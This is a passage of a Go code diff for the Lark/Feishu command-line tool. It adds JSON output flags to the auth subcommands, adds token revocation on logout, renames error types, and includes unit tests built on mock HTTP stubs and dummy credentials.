+		URL:  "/open-apis/approval/v4/files/upload",
+		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
+	}
+	reg.Register(stub)
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "upload=sub/invoice.pdf"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	filenames, _ := parseMultipartFilenames(t, stub)
+	if _, ok := filenames["upload"]; !ok {
+		t.Fatalf("expected field name %q from field=path form, got fields %v", "upload", filenames)
+	}
+	if got := filenames["upload"]; got != "invoice.pdf" {
+		t.Fatalf("part filename for field %q = %q, want %q (basename only)", "upload", got, "invoice.pdf")
+	}
+}
+
+func TestApiCmd_FileUpload_WithDataFields(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile(filepath.Join(dir, "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
+		t.Fatalf("write test file: %v", err)
+	}
+
+	stub := &httpmock.Stub{
+		URL:  "/open-apis/approval/v4/files/upload",
+		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
+	}
+	reg.Register(stub)
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot",
+		"--file", "invoice.pdf", "--data", `{"type":"attachment"}`})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	filenames, fields := parseMultipartFilenames(t, stub)
+	if got := filenames["file"]; got != "invoice.pdf" {
+		t.Fatalf("part filename = %q, want %q", got, "invoice.pdf")
+	}
+	if got := fields["type"]; got != "attachment" {
+		t.Fatalf("text field type = %q, want %q", got, "attachment")
+	}
+}
+
+func TestApiCmd_FileUpload_StdinFallsBackToUnknown(t *testing.T) {
+	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+	f.IOStreams.In = bytes.NewReader([]byte("stdin-bytes"))
+
+	stub := &httpmock.Stub{
+		URL:  "/open-apis/approval/v4/files/upload",
+		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
+	}
+	reg.Register(stub)
+
+	cmd := NewCmdApi(f, nil)
+	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "-"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	filenames, _ := parseMultipartFilenames(t, stub)
+	if got := filenames["file"]; got != "unknown-file" {
+		t.Fatalf("stdin part filename = %q, want %q (no stable local name, fallback)", got, "unknown-file")
+	}
+}

cmd/auth/auth_test.go

@@ -91,6 +91,29 @@ func TestAuthCheckCmd_FlagParsing(t *testing.T) {
 	}
 }
 
+func TestAuthCheckCmd_AcceptsJSONFlag(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	var gotOpts *CheckOptions
+	cmd := NewCmdAuthCheck(f, func(opts *CheckOptions) error {
+		gotOpts = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"--scope", "calendar:calendar:read", "--json"})
+	err := cmd.Execute()
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if gotOpts == nil {
+		t.Fatal("expected opts to be set")
+	}
+	if !gotOpts.JSON {
+		t.Error("expected JSON=true")
+	}
+}
+
 func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 
@@ -109,6 +132,27 @@ func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
 	}
 }
 
+func TestAuthLogoutCmd_AcceptsJSONFlag(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, nil)
+
+	var gotOpts *LogoutOptions
+	cmd := NewCmdAuthLogout(f, func(opts *LogoutOptions) error {
+		gotOpts = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"--json"})
+	err := cmd.Execute()
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if gotOpts == nil {
+		t.Fatal("expected opts to be set")
+	}
+	if !gotOpts.JSON {
+		t.Error("expected JSON=true")
+	}
+}
+
 func TestAuthListCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 
@@ -126,6 +170,27 @@ func TestAuthListCmd_FlagParsing(t *testing.T) {
 	}
 }
 
+func TestAuthListCmd_AcceptsJSONFlag(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, nil)
+
+	var gotOpts *ListOptions
+	cmd := NewCmdAuthList(f, func(opts *ListOptions) error {
+		gotOpts = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"--json"})
+	err := cmd.Execute()
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if gotOpts == nil {
+		t.Error("expected opts to be set")
+	}
+	if !gotOpts.JSON {
+		t.Error("expected JSON=true")
+	}
+}
+
 func TestAuthStatusCmd_FlagParsing(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -145,6 +210,29 @@ func TestAuthStatusCmd_FlagParsing(t *testing.T) {
 	}
 }
 
+func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	var gotOpts *StatusOptions
+	cmd := NewCmdAuthStatus(f, func(opts *StatusOptions) error {
+		gotOpts = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"--json"})
+	err := cmd.Execute()
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if gotOpts == nil {
+		t.Error("expected opts to be set")
+	}
+	if !gotOpts.JSON {
+		t.Error("expected JSON=true")
+	}
+}
+
 func TestAuthStatusCmd_VerifyFlag(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -267,6 +355,32 @@ func TestAuthScopesCmd_FlagParsing(t *testing.T) {
 	}
 }
 
+func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
+	})
+
+	var gotOpts *ScopesOptions
+	cmd := NewCmdAuthScopes(f, func(opts *ScopesOptions) error {
+		gotOpts = opts
+		return nil
+	})
+	cmd.SetArgs([]string{"--format", "pretty", "--json"})
+	err := cmd.Execute()
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if gotOpts == nil {
+		t.Fatal("expected opts to be set")
+	}
+	if !gotOpts.JSON {
+		t.Error("expected JSON=true")
+	}
+	if gotOpts.Format != "json" {
+		t.Errorf("expected format json, got %s", gotOpts.Format)
+	}
+}
+
 func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T) {
 	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "", Brand: core.BrandFeishu,

cmd/auth/check.go

@@ -19,6 +19,7 @@ import (
 type CheckOptions struct {
 	Factory *cmdutil.Factory
 	Scope   string
+	JSON    bool
 }
 
 // NewCmdAuthCheck creates the auth check subcommand.
@@ -37,6 +38,7 @@ func NewCmdAuthCheck(f *cmdutil.Factory, runF func(*CheckOptions) error) *cobra.
 	}
 
 	cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to check (space-separated)")
+	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmd.MarkFlagRequired("scope")
 	cmdutil.SetRisk(cmd, "read")
 

cmd/auth/check_test.go

@@ -33,12 +33,9 @@ func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
 	if got := output.ExitCodeOf(err); got != 1 {
 		t.Errorf("exit code = %d, want 1 (predicate 'missing' signal)", got)
 	}
-	var bare *output.ExitError
+	var bare *output.BareError
 	if !errors.As(err, &bare) {
-		t.Fatalf("expected *output.ExitError (ErrBare), got %T: %v", err, err)
-	}
-	if bare.Detail != nil {
-		t.Errorf("ErrBare must carry no Detail (no envelope), got %+v", bare.Detail)
+		t.Fatalf("expected *output.BareError (ErrBare), got %T: %v", err, err)
 	}
 
 	if stderr.Len() != 0 {

cmd/auth/list.go

@@ -9,6 +9,7 @@ import (
 
 	"github.com/spf13/cobra"
 
+	"github.com/larksuite/cli/errs"
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -18,6 +19,7 @@ import (
 // ListOptions holds all inputs for auth list.
 type ListOptions struct {
 	Factory *cmdutil.Factory
+	JSON    bool
 }
 
 // NewCmdAuthList creates the auth list subcommand.
@@ -34,6 +36,7 @@ func NewCmdAuthList(f *cmdutil.Factory, runF func(*ListOptions) error) *cobra.Co
 			return authListRun(opts)
 		},
 	}
+	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "read")
 
 	return cmd
@@ -44,12 +47,20 @@ func authListRun(opts *ListOptions) error {
 
 	multi, _ := core.LoadMultiAppConfig()
 	if multi == nil || len(multi.Apps) == 0 {
+		if opts.JSON {
+			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
+				"ok":     true,
+				"users":  []map[string]interface{}{},
+				"reason": "not_configured",
+			})
+			return nil
+		}
 		// auth list is a read-only probe; the "configured but no users"
 		// branch below already returns exit 0 with a stderr hint, so we
 		// keep the same contract here. We still want the hint to be
 		// workspace-aware, so we pull the message+hint out of
 		// NotConfiguredError() instead of hard-coding it.
-		var cfgErr *core.ConfigError
+		var cfgErr *errs.ConfigError
 		if errors.As(core.NotConfiguredError(), &cfgErr) {
 			fmt.Fprintln(f.IOStreams.ErrOut, cfgErr.Message)
 			if cfgErr.Hint != "" {
@@ -61,6 +72,14 @@ func authListRun(opts *ListOptions) error {
 
 	app := multi.CurrentAppConfig(f.Invocation.Profile)
 	if app == nil || len(app.Users) == 0 {
+		if opts.JSON {
+			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
+				"ok":     true,
+				"users":  []map[string]interface{}{},
+				"reason": "not_logged_in",
+			})
+			return nil
+		}
 		fmt.Fprintln(f.IOStreams.ErrOut, "No logged-in users. Run `lark-cli auth login` to log in.")
 		return nil
 	}

cmd/auth/list_test.go

@@ -4,6 +4,7 @@
 package auth
 
 import (
+	"encoding/json"
 	"strings"
 	"testing"
 
@@ -34,6 +35,33 @@ func TestAuthListRun_NotConfigured_ReturnsExitZero(t *testing.T) {
 	}
 }
 
+func TestAuthListRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
+		t.Fatalf("auth list should succeed when not configured (exit 0); got: %v", err)
+	}
+
+	var payload map[string]any
+	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
+		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
+	}
+	if payload["ok"] != true {
+		t.Errorf("stdout.ok = %v, want true", payload["ok"])
+	}
+	users, ok := payload["users"].([]any)
+	if !ok || len(users) != 0 {
+		t.Errorf("stdout.users = %v, want empty array", payload["users"])
+	}
+	if payload["reason"] != "not_configured" {
+		t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
+	}
+	if stderr.Len() != 0 {
+		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
+	}
+}
+
 // TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp covers the
 // reason this hint exists workspace-aware in the first place: an AI agent
 // in OpenClaw / Hermes that probes auth list before binding gets routed to
@@ -57,3 +85,48 @@ func TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp(t *testing.T)
 		t.Errorf("agent hint must not mention config init: %s", out)
 	}
 }
+
+func TestAuthListRun_JSONMode_NoLoggedInUsers_WritesStdoutOnly(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	writeLogoutConfig(t, nil)
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
+		t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
+	}
+
+	var payload map[string]any
+	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
+		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
+	}
+	if payload["ok"] != true {
+		t.Errorf("stdout.ok = %v, want true", payload["ok"])
+	}
+	users, ok := payload["users"].([]any)
+	if !ok || len(users) != 0 {
+		t.Errorf("stdout.users = %v, want empty array", payload["users"])
+	}
+	if payload["reason"] != "not_logged_in" {
+		t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
+	}
+	if stderr.Len() != 0 {
+		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
+	}
+}
+
+func TestAuthListRun_DefaultMode_NoLoggedInUsers_KeepsTextOutput(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	writeLogoutConfig(t, nil)
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authListRun(&ListOptions{Factory: f}); err != nil {
+		t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
+	}
+
+	if stdout.Len() != 0 {
+		t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
+	}
+	if !strings.Contains(stderr.String(), "No logged-in users") {
+		t.Errorf("stderr = %q, want no-users hint", stderr.String())
+	}
+}

cmd/auth/login.go

@@ -296,10 +296,11 @@ func authLoginRun(opts *LoginOptions) error {
 	}
 
 	// Step 2: Show user code and verification URL.
-	// Both branches surface AgentTimeoutHint, but on different channels:
-	// JSON mode embeds it as a structured field (so an agent that captures
-	// stdout into a JSON parser sees it without stream-mixing surprises),
-	// text mode prints to stderr (alongside the URL prompt).
+	// JSON mode embeds AgentTimeoutHint as a structured field so agents that
+	// capture stdout into a JSON parser see it without stream-mixing surprises.
+	// Text mode prints the hint to stderr only when running under a non-TTY
+	// (i.e. piped / agent harness), since humans reading a terminal don't need
+	// the agent-oriented instructions.
 	if opts.JSON {
 		data := map[string]interface{}{
 			"event":                     "device_authorization",
@@ -317,7 +318,9 @@ func authLoginRun(opts *LoginOptions) error {
 	} else {
 		fmt.Fprintf(f.IOStreams.ErrOut, msg.OpenURL)
 		fmt.Fprintf(f.IOStreams.ErrOut, "  %s\n\n", authResp.VerificationUriComplete)
-		fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
+		if f.IOStreams != nil && !f.IOStreams.IsTerminal {
+			fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
+		}
 	}
 
 	// Step 3: Poll for token
@@ -404,10 +407,11 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
 			fmt.Fprintf(f.IOStreams.ErrOut, "[lark-cli] [WARN] auth login: failed to remove cached requested scopes: %v\n", err)
 		}
 	}
-	// Skip the stderr hint in JSON mode — the --no-wait call that issued the
-	// device_code already returned the hint as a JSON field, and writing
-	// text to stderr would pollute consumers that combine streams via 2>&1.
-	if !opts.JSON {
+	// Skip the stderr hint in JSON mode (the --no-wait call that issued
+	// the device_code already surfaced it as a JSON field), and also skip it
+	// when running on an interactive terminal — the agent-oriented
+	// instructions only matter for piped / harness environments.
+	if !opts.JSON && f.IOStreams != nil && !f.IOStreams.IsTerminal {
 		fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
 	}
 	log(msg.WaitingAuth)

cmd/auth/login_interactive.go

@@ -92,16 +92,11 @@ func buildDomainMeta(name, lang string) domainMeta {
 			Description: desc,
 		}
 	}
-	// Fallback: read from from_meta spec (legacy)
-	meta := registry.LoadFromMeta(name)
+	// Fallback: read from the typed service spec (legacy)
 	dm := domainMeta{Name: name}
-	if meta != nil {
-		if t, ok := meta["title"].(string); ok {
-			dm.Title = t
-		}
-		if d, ok := meta["description"].(string); ok {
-			dm.Description = d
-		}
+	if svc, ok := registry.ServiceTyped(name); ok {
+		dm.Title = svc.Title
+		dm.Description = svc.Description
 	}
 	return dm
 }

cmd/auth/login_messages.go

@@ -128,5 +128,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
 // (not backed by from_meta service specs). Descriptions are now centralized in
 // service_descriptions.json.
 func getShortcutOnlyDomainNames() []string {
-	return []string{"base", "contact", "docs", "markdown", "apps"}
+	return []string{"application", "base", "contact", "docs", "markdown", "apps", "note"}
 }

cmd/auth/login_test.go

@@ -9,6 +9,7 @@ import (
 	"errors"
 	"io"
 	"net/http"
+	"slices"
 	"sort"
 	"strings"
 	"testing"
@@ -214,6 +215,12 @@ func TestGetShortcutOnlyDomainNames_HaveDescriptions(t *testing.T) {
 	}
 }
 
+func TestGetShortcutOnlyDomainNames_IncludesNote(t *testing.T) {
+	if !slices.Contains(getShortcutOnlyDomainNames(), "note") {
+		t.Fatal("shortcut-only domains must include note so auth login can select vc:note:read")
+	}
+}
+
 func TestCollectScopesForDomains(t *testing.T) {
 	projects := registry.ListFromMetaProjects()
 	if len(projects) == 0 {
@@ -871,7 +878,7 @@ func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
 // contract that when --json is set and pollDeviceToken returns OK=false,
 // stdout carries the structured authorization_failed event and stderr is
 // NOT polluted with a typed envelope. The returned error is a bare
-// ExitError with ExitAuth so the dispatcher only propagates the exit code
+// BareError with ExitAuth so the dispatcher only propagates the exit code
 // without emitting a second envelope on top of the JSON event.
 func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
 	keyring.MockInit()
@@ -938,16 +945,13 @@ func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
 		t.Errorf("stderr should not contain JSON envelope fields, got: %s", stderrStr)
 	}
 
-	// Returned error must be the bare *output.ExitError signal (no envelope).
-	var exitErr *output.ExitError
-	if !errors.As(err, &exitErr) {
-		t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
+	// Returned error must be the bare *output.BareError signal (no envelope).
+	var bareErr *output.BareError
+	if !errors.As(err, &bareErr) {
+		t.Fatalf("expected *output.BareError, got %T: %v", err, err)
 	}
-	if exitErr.Code != output.ExitAuth {
-		t.Fatalf("ExitError.Code = %d, want %d", exitErr.Code, output.ExitAuth)
-	}
-	if exitErr.Detail != nil {
-		t.Errorf("ExitError.Detail should be nil for bare signal, got: %+v", exitErr.Detail)
+	if bareErr.Code != output.ExitAuth {
+		t.Fatalf("BareError.Code = %d, want %d", bareErr.Code, output.ExitAuth)
 	}
 }
 

cmd/auth/logout.go

@@ -18,6 +18,7 @@ import (
 // LogoutOptions holds all inputs for auth logout.
 type LogoutOptions struct {
 	Factory *cmdutil.Factory
+	JSON    bool
 }
 
 // NewCmdAuthLogout creates the auth logout subcommand.
@@ -34,6 +35,7 @@ func NewCmdAuthLogout(f *cmdutil.Factory, runF func(*LogoutOptions) error) *cobr
 			return authLogoutRun(opts)
 		},
 	}
+	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "write")
 
 	return cmd
@@ -44,25 +46,65 @@ func authLogoutRun(opts *LogoutOptions) error {
 
 	multi, _ := core.LoadMultiAppConfig()
 	if multi == nil || len(multi.Apps) == 0 {
+		if opts.JSON {
+			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
+				"ok":        true,
+				"loggedOut": false,
+				"reason":    "not_configured",
+			})
+			return nil
+		}
 		fmt.Fprintln(f.IOStreams.ErrOut, "No configuration found.")
 		return nil
 	}
 
 	app := multi.CurrentAppConfig(f.Invocation.Profile)
 	if app == nil || len(app.Users) == 0 {
+		if opts.JSON {
+			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
+				"ok":        true,
+				"loggedOut": false,
+				"reason":    "not_logged_in",
+			})
+			return nil
+		}
 		fmt.Fprintln(f.IOStreams.ErrOut, "Not logged in.")
 		return nil
 	}
 
+	httpClient, httpErr := f.HttpClient()
+	appSecret, secretErr := core.ResolveSecretInput(app.AppSecret, f.Keychain)
+
 	for _, user := range app.Users {
+		if httpErr == nil && secretErr == nil {
+			if token := larkauth.GetStoredToken(app.AppId, user.UserOpenId); token != nil {
+				revokeToken := token.RefreshToken
+				tokenTypeHint := "refresh_token"
+				if revokeToken == "" {
+					revokeToken = token.AccessToken
+					tokenTypeHint = "access_token"
+				}
+				if revokeToken != "" {
+					_ = larkauth.RevokeToken(httpClient, app.AppId, appSecret, app.Brand, revokeToken, tokenTypeHint)
+				}
+			}
+		}
 		if err := larkauth.RemoveStoredToken(app.AppId, user.UserOpenId); err != nil {
 			fmt.Fprintf(f.IOStreams.ErrOut, "Warning: failed to remove token for %s: %v\n", user.UserOpenId, err)
 		}
 	}
+
 	app.Users = []core.AppUser{}
 	if err := core.SaveMultiAppConfig(multi); err != nil {
 		return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
 	}
+	if opts.JSON {
+		output.PrintJson(f.IOStreams.Out, map[string]interface{}{
+			"ok":        true,
+			"loggedOut": true,
+		})
+		return nil
+	}
 	output.PrintSuccess(f.IOStreams.ErrOut, "Logged out")
 	return nil
 }

cmd/auth/logout_test.go

@@ -0,0 +1,356 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package auth
+
+import (
+	"encoding/json"
+	"net/url"
+	"strings"
+	"testing"
+
+	larkauth "github.com/larksuite/cli/internal/auth"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/zalando/go-keyring"
+)
+
+func writeLogoutConfig(t *testing.T, users []core.AppUser) {
+	t.Helper()
+	if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
+		CurrentApp: "test-app",
+		Apps: []core.AppConfig{
+			{
+				AppId:     "test-app",
+				AppSecret: core.PlainSecret("test-secret"),
+				Brand:     core.BrandFeishu,
+				Users:     users,
+			},
+		},
+	}); err != nil {
+		t.Fatalf("SaveMultiAppConfig() error = %v", err)
+	}
+}
+
+func TestAuthLogoutRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	var payload map[string]any
+	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
+		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
+	}
+	if payload["ok"] != true {
+		t.Errorf("stdout.ok = %v, want true", payload["ok"])
+	}
+	if payload["loggedOut"] != false {
+		t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
+	}
+	if payload["reason"] != "not_configured" {
+		t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
+	}
+	if stderr.Len() != 0 {
+		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
+	}
+}
+
+func TestAuthLogoutRun_JSONMode_NotLoggedIn_WritesStdoutOnly(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	writeLogoutConfig(t, nil)
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	var payload map[string]any
+	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
+		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
+	}
+	if payload["ok"] != true {
+		t.Errorf("stdout.ok = %v, want true", payload["ok"])
+	}
+	if payload["loggedOut"] != false {
+		t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
+	}
+	if payload["reason"] != "not_logged_in" {
+		t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
+	}
+	if stderr.Len() != 0 {
+		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
+	}
+}
+
+func TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly(t *testing.T) {
+	keyring.MockInit()
+	t.Setenv("HOME", t.TempDir())
+	t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
+	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
+		AppId:      "test-app",
+		UserOpenId: "ou_user",
+	}); err != nil {
+		t.Fatalf("SetStoredToken() error = %v", err)
+	}
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	var payload map[string]any
+	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
+		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
+	}
+	if payload["ok"] != true {
+		t.Errorf("stdout.ok = %v, want true", payload["ok"])
+	}
+	if payload["loggedOut"] != true {
+		t.Errorf("stdout.loggedOut = %v, want true", payload["loggedOut"])
+	}
+	if _, hasReason := payload["reason"]; hasReason {
+		t.Errorf("stdout.reason must be absent on success, got %v", payload["reason"])
+	}
+	if stderr.Len() != 0 {
+		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
+	}
+}
+
+func TestAuthLogoutRun_DefaultMode_KeepsTextOutput(t *testing.T) {
+	keyring.MockInit()
+	t.Setenv("HOME", t.TempDir())
+	t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
+	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
+		AppId:      "test-app",
+		UserOpenId: "ou_user",
+	}); err != nil {
+		t.Fatalf("SetStoredToken() error = %v", err)
+	}
+
+	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
+	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	if stdout.Len() != 0 {
+		t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
+	}
+	if !strings.Contains(stderr.String(), "Logged out") {
+		t.Errorf("stderr = %q, want success text", stderr.String())
+	}
+}
+
+func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
+	keyring.MockInit()
+	setupLoginConfigDir(t)
+	t.Setenv("HOME", t.TempDir())
+
+	multi := &core.MultiAppConfig{
+		CurrentApp: "default",
+		Apps: []core.AppConfig{
+			{
+				Name:      "default",
+				AppId:     "cli_test",
+				AppSecret: core.PlainSecret("secret"),
+				Brand:     core.BrandFeishu,
+				Users:     []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
+			},
+		},
+	}
+	if err := core.SaveMultiAppConfig(multi); err != nil {
+		t.Fatalf("SaveMultiAppConfig() error = %v", err)
+	}
+	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
+		AppId:        "cli_test",
+		UserOpenId:   "ou_user",
+		AccessToken:  "user-access-token",
+		RefreshToken: "user-refresh-token",
+	}); err != nil {
+		t.Fatalf("SetStoredToken() error = %v", err)
+	}
+
+	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		ProfileName: "default",
+		AppID:       "cli_test",
+		AppSecret:   "secret",
+		Brand:       core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    larkauth.PathOAuthRevoke,
+		Body:   map[string]interface{}{"code": 0},
+		BodyFilter: func(body []byte) bool {
+			values, err := url.ParseQuery(string(body))
+			if err != nil {
+				return false
+			}
+			return values.Get("client_id") == "cli_test" &&
+				values.Get("client_secret") == "secret" &&
+				values.Get("token") == "user-refresh-token" &&
+				values.Get("token_type_hint") == "refresh_token"
+		},
+	})
+
+	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	if got := stderr.String(); !strings.Contains(got, "Logged out") {
+		t.Fatalf("stderr = %q, want Logged out", got)
+	}
+	if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
+		t.Fatalf("expected stored token removed, got %#v", got)
+	}
+	saved, err := core.LoadMultiAppConfig()
+	if err != nil {
+		t.Fatalf("LoadMultiAppConfig() error = %v", err)
+	}
